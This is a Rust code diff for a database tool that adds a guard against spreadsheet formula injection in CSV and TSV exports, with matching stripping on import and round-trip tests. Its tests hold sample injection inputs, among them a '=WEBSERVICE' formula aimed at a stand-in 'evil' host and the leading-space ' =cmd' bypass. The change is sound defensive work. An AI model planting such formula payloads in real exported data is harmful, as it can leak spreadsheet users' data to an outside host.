diff --git a/crates/dbx-core/src/data/mongodb_import_export.rs b/crates/dbx-core/src/data/mongodb_import_export.rs index 097527e65a..f0fe8c5669 100644 --- a/crates/dbx-core/src/data/mongodb_import_export.rs +++ b/crates/dbx-core/src/data/mongodb_import_export.rs @@ -12,7 +12,7 @@ use mongodb::bson::{oid::ObjectId, Bson, DateTime, Decimal128, Document}; use serde::{Deserialize, Serialize}; use crate::connection::{task_client_session_id, AppState, PoolKind}; -use crate::csv_export::{push_csv_field, CsvQuoteMode}; +use crate::csv_export::{push_csv_field, strip_formula_guard, CsvQuoteMode}; use crate::db::agent_driver::{AgentCapability, PooledAgentClient}; use crate::db::mongo_driver::{ self, document_to_canonical_extended_json, for_each_find_document, insert_bson_documents, @@ -416,6 +416,7 @@ fn normalize_cell(value: &str, trim: bool) -> &str { fn csv_cell_text(value: &str, config: &CsvParseConfig) -> Option { let value = normalize_cell(value, config.trim).trim_start_matches('\u{feff}'); + let value = strip_formula_guard(value); if value.is_empty() { None } else { @@ -427,7 +428,8 @@ fn unique_headers(headers: &[String]) -> Result, MongoImportIssue> { let mut seen = HashSet::new(); let mut names = Vec::with_capacity(headers.len()); for (index, header) in headers.iter().enumerate() { - let name = header.trim().trim_start_matches('\u{feff}').to_string(); + // 表头也走导出侧的公式中和('-total 之类),剥离后才还原字段名 + let name = strip_formula_guard(header.trim().trim_start_matches('\u{feff}')).to_string(); if name.is_empty() { return Err(MongoImportIssue::new("EMPTY_HEADER", format!("CSV header at column {} is empty", index + 1)) .with_row(1)); @@ -2186,8 +2188,9 @@ fn json_at_field_path<'a>(value: &'a serde_json::Value, path: &str) -> Option<&' fn push_csv_json_value(out: &mut String, value: Option<&serde_json::Value>) { match value { None | Some(serde_json::Value::Null) => {} - // Deliberately no spreadsheet formula guard: prefixing `'` to values starting with - // `= + - @` would make reimport see a different string than was exported. + // Spreadsheet formula guard applies in push_csv_field and is stripped back on + // import by strip_formula_guard (see csv_cell_text), so reimport still sees + // exactly the string that was exported. Some(serde_json::Value::String(value)) => push_csv_field(out, value, CsvQuoteMode::Necessary), Some(serde_json::Value::Bool(value)) => out.push_str(if *value { "true" } else { "false" }), Some(serde_json::Value::Number(value)) => out.push_str(&value.to_string()), @@ -3725,6 +3728,10 @@ mod tests { "timestamp": Bson::Timestamp(Timestamp { time: 1234567890, increment: 1 }), "phonePrefix": "+86", "formula": "=SUM(A1:A10)", + "phoneLiteral": "'+8613800000000", + "doubledApostrophe": "''-edge", + "spacedFormula": " =cmd", + "-note": "header round trip", "numericString": "12345", "dateString": "2021-01-01T00:00:00Z", }]; @@ -3762,6 +3769,13 @@ mod tests { assert_eq!(doc.get_str("phonePrefix").unwrap(), "+86"); assert_eq!(doc.get_str("formula").unwrap(), "=SUM(A1:A10)"); + // Guard round-trips: guarded formula text, escaped literal apostrophes ('' on + // export, one stripped on import), and the leading-space OWASP bypass + assert_eq!(doc.get_str("phoneLiteral").unwrap(), "'+8613800000000"); + assert_eq!(doc.get_str("doubledApostrophe").unwrap(), "''-edge"); + assert_eq!(doc.get_str("spacedFormula").unwrap(), " =cmd"); + assert_eq!(doc.get_str("-note").unwrap(), "header round trip"); + // Numbers: Int32 stable, Int64 may become Int64 or Decimal128 depending on value assert_eq!(doc.get_i32("age").unwrap(), 30); // bigNumber: exported as plain number, re-imported as Int64 (fits in range) diff --git a/crates/dbx-formats/src/csv_export.rs b/crates/dbx-formats/src/csv_export.rs index 5c9cb0e5f5..394d4b2b9d 100644 --- a/crates/dbx-formats/src/csv_export.rs +++ b/crates/dbx-formats/src/csv_export.rs @@ -32,8 +32,54 @@ pub fn default_csv_null_literal() -> String { DEFAULT_CSV_NULL_LITERAL.to_string() } +/// Excel/Sheets 公式注入中和(OWASP CSV Injection 触发字符):以 `=`、`+`、`-`、 +/// `@`、Tab、CR 开头的文本在导出时前置 `'`,避免 `=WEBSERVICE(...)` 类值被电子 +/// 表格应用按公式执行(数据外泄)。DataGrip 导出 CSV 时采用同一惯例。 +/// 数值列不受影响(Number 分支不走文本路径)。 +/// +/// 前缀的写入/剥离必须保持每单元格一次的对称对:[`push_formula_guard`] 与 +/// [`strip_formula_guard`]。guard 绝不能放进 [`push_csv_escaped_content`] 这类 +/// 片段级写入路径——serde_json 的 `Display` 会把对象/数组拆成多个片段经 +/// `CsvEscapedWriter` 逐段写入,片段级 guard 会在 JSON 单元格中间插 `'`。 +const FORMULA_TRIGGER_BYTES: &[u8] = b"=+-@\t\r"; + +/// 文本是否需要公式中和:跳过前导空格(OWASP 标注的 `" =cmd"` 前导空白绕过) +/// 后,首字节是触发字符即命中。 +pub fn needs_formula_guard(value: &str) -> bool { + value.bytes().find(|&byte| byte != b' ').is_some_and(|byte| FORMULA_TRIGGER_BYTES.contains(&byte)) +} + +/// 在单元格值开头写入公式中和前缀,每单元格调用一次: +/// - 命中 [`needs_formula_guard`] 的文本前置 `'`; +/// - 以 `'` 开头且其后仍需中和(或本身以 `''` 开头)的文本前置一个额外 `'` +/// 转义字面撇号,使 [`strip_formula_guard`] 的剥离成为无歧义逆操作—— +/// 用户字面数据 `'+8613800000000` 导出为 `''+86…`、回导无损。 +pub fn push_formula_guard(out: &mut String, value: &str) { + if value.as_bytes().first() == Some(&b'\'') { + if value.as_bytes().get(1) == Some(&b'\'') || needs_formula_guard(&value[1..]) { + out.push('\''); + } + } else if needs_formula_guard(value) { + out.push('\''); + } +} + +/// [`push_formula_guard`] 的逆操作:单元格以 `'` 开头且其后命中中和条件(字面 +/// 撇号转义的 `''`,或 `'<触发字符>` / `' <触发字符>` 守卫)时剥掉一个 `'`, +/// 否则原样返回——单独的 `'` 是用户数据,不动。 +pub fn strip_formula_guard(value: &str) -> &str { + let guarded = value.as_bytes().first() == Some(&b'\'') + && (value.as_bytes().get(1) == Some(&b'\'') || needs_formula_guard(&value[1..])); + if guarded { + &value[1..] + } else { + value + } +} + /// CSV 转义直写目标 buffer:包引号 + 内部 `"` 翻倍。值不含 `"` 时整段拷贝, /// 不做 replace 分配(逐批流式导出对每个单元格调用,是导出热路径)。 +/// 这里是纯转义原语,不含公式中和——guard 属于单元格级语义(见 [`push_formula_guard`])。 fn push_csv_escaped_content(out: &mut String, value: &str) { let mut rest = value; while let Some(pos) = rest.find('"') { @@ -56,8 +102,13 @@ fn csv_field_needs_quotes(value: &str) -> bool { pub fn push_csv_field(out: &mut String, value: &str, quote_mode: CsvQuoteMode) { if quote_mode == CsvQuoteMode::All || csv_field_needs_quotes(value) { - push_csv_escaped(out, value); + // 守卫前缀写在引号内:`"'-total"` 是合法的带引号字段,`'"-total"'` 不是 + out.push('"'); + push_formula_guard(out, value); + push_csv_escaped_content(out, value); + out.push('"'); } else { + push_formula_guard(out, value); out.push_str(value); } } @@ -76,7 +127,10 @@ pub fn push_csv_text_value(out: &mut String, value: &Value) { out.push('"'); match value { Value::Null => {} - Value::String(value) => push_csv_escaped_content(out, value), + Value::String(value) => { + push_formula_guard(out, value); + push_csv_escaped_content(out, value) + } Value::Bool(value) => out.push_str(if *value { "true" } else { "false" }), Value::Number(value) => { fmt::write(out, format_args!("{value}")).expect("writing a number into a String cannot fail") @@ -127,11 +181,15 @@ fn push_csv_value_with_quote_mode( } } -/// TSV 转义直写:仅含特殊字符时包引号(语义与原 escape_tsv 一致)。 +/// TSV 转义直写:仅含特殊字符时包引号(语义与原 escape_tsv 一致),守卫前缀在引号内。 fn push_tsv_escaped(out: &mut String, value: &str) { if value.contains('\t') || value.contains('\n') || value.contains('\r') || value.contains('"') { - push_csv_escaped(out, value); + out.push('"'); + push_formula_guard(out, value); + push_csv_escaped_content(out, value); + out.push('"'); } else { + push_formula_guard(out, value); out.push_str(value); } } @@ -296,7 +354,7 @@ fn format_csv_with_value_formatter(columns: &[String], rows: &[Vec]) -> S if index > 0 { out.push(','); } - push_csv_escaped(&mut out, column); + push_csv_field(&mut out, column, CsvQuoteMode::All); } out.push('\n'); push_query_result_csv_rows(&mut out, rows); @@ -481,11 +539,14 @@ mod tests { fn escape_tsv_matches_reference_semantics() { // TSV 仅在含 \t/\n/\r/引号时包引号;逗号不触发 for input in ["", "plain", "with,comma", "tab\there", "line\nbreak", "cr\rhere", "quo\"te", "\t\"mix\""] { + // 公式中和前缀与转义正交:守卫由共享原语计算,无论是否包引号都带前缀 + let mut guard = String::new(); + super::push_formula_guard(&mut guard, input); let expected = if input.contains('\t') || input.contains('\n') || input.contains('\r') || input.contains('"') { - format!("\"{}\"", input.replace('"', "\"\"")) + format!("\"{guard}{}\"", input.replace('"', "\"\"")) } else { - input.to_string() + format!("{guard}{input}") }; assert_eq!(super::escape_tsv(input), expected, "input: {input:?}"); } @@ -632,5 +693,134 @@ mod tests { assert_eq!(tsv, super::format_tsv_rows(&[row])); } + #[test] + fn formula_like_text_cells_are_neutralized() { + let out = format_csv( + &["cmd".to_string()], + &[ + vec![json!("=WEBSERVICE(\"https://evil\")")], + vec![json!("+2")], + vec![json!("-3")], + vec![json!("@x")], + vec![json!("\tlead")], + vec![json!("safe")], + vec![json!(-4)], + ], + ); + assert_eq!( + out, + "\"cmd\"\n\"'=WEBSERVICE(\"\"https://evil\"\")\"\n\"'+2\"\n\"'-3\"\n\"'@x\"\n\"'\tlead\"\n\"safe\"\n\"-4\"" + ); + } + + #[test] + fn formula_guard_covers_necessary_mode_raw_cells_and_tsv() { + let out = format_csv_with_quote_mode( + &["v".to_string()], + &[vec![json!("=sum")], vec![json!("x=y")]], + CsvQuoteMode::Necessary, + ); + assert_eq!(out, "v\n'=sum\nx=y"); + let tsv = format_tsv(&["v".to_string()], &[vec![json!("=sum")], vec![json!("plain")]]); + assert_eq!(tsv, "v\n'=sum\nplain"); + } + + #[test] + fn formula_guard_covers_headers() { + let out = format_csv(&["-total".to_string()], &[vec![json!(1)]]); + assert_eq!(out, "\"'-total\"\n\"1\""); + } + + #[test] + fn json_cells_are_exported_verbatim_and_strings_still_guarded() { + // 回归:guard 曾挂在片段级写入路径(push_csv_escaped_content)上,而它同时是 + // serde_json Display 的 fmt::Write sink,对象/数组被拆成多个片段逐段写入, + // guard 在单元格中间触发,把 {"n": -5} 写成 {"n":'-5}、[1, -2] 写成 [1,'-2], + // 导出的 JSON 因此失效。guard 现在是单元格级语义,JSON 单元格逐字节原样。 + let out = format_csv( + &["v".to_string()], + &[ + vec![json!({"n": -5})], + vec![json!([1, -2])], + vec![json!(["-5"])], + vec![json!({"formula": "=1+1"})], + vec![json!("-5")], + ], + ); + assert_eq!( + out, + concat!( + "\"v\"\n", + "\"{\"\"n\"\":-5}\"\n", + "\"[1,-2]\"\n", + "\"[\"\"-5\"\"]\"\n", + "\"{\"\"formula\"\":\"\"=1+1\"\"}\"\n", + "\"'-5\"" + ) + ); + } + + #[test] + fn formula_guard_escapes_literal_leading_apostrophe_for_symmetric_round_trip() { + // 字面前导撇号('+86 是表格里存手机号的常见写法)导出时翻倍为 '', + // 使导入侧的剥离成为无歧义逆操作;前导空格后跟触发字符(OWASP " =cmd" + // 绕过)同样中和;单独的 ' 或 ' 后接普通字符是用户数据,不动。 + let out = format_csv( + &["v".to_string()], + &[ + vec![json!("'+8613800000000")], + vec![json!("''-already-doubled")], + vec![json!("'plain")], + vec![json!(" =cmd")], + vec![json!(" -note")], + vec![json!("' =spaced")], + ], + ); + assert_eq!( + out, + concat!( + "\"v\"\n", + "\"''+8613800000000\"\n", + "\"'''-already-doubled\"\n", + "\"'plain\"\n", + "\"' =cmd\"\n", + "\"' -note\"\n", + "\"'' =spaced\"" + ) + ); + } + + #[test] + fn formula_guard_strip_is_the_exact_inverse_of_push() { + // guard 之后再 strip 必须还原原值,覆盖触发字符、前导空格、撇号转义与 + // 空串边界;不以撇号开头的单元格 strip 一律原样返回。 + for value in [ + "=cmd", + " =cmd", + " -x", + "+2", + "-3", + "@a", + "\tx", + "\rx", + "'+86", + "''-e", + "' =spaced", + "'", + "''", + "'''", + "'plain", + "plain", + "", + ] { + let mut guarded = String::new(); + super::push_formula_guard(&mut guarded, value); + let cell = format!("{guarded}{value}"); + assert_eq!(super::strip_formula_guard(&cell), value, "value: {value:?}"); + } + assert_eq!(super::strip_formula_guard("plain"), "plain"); + assert_eq!(super::strip_formula_guard("'"), "'"); + } + use serde_json::Value; }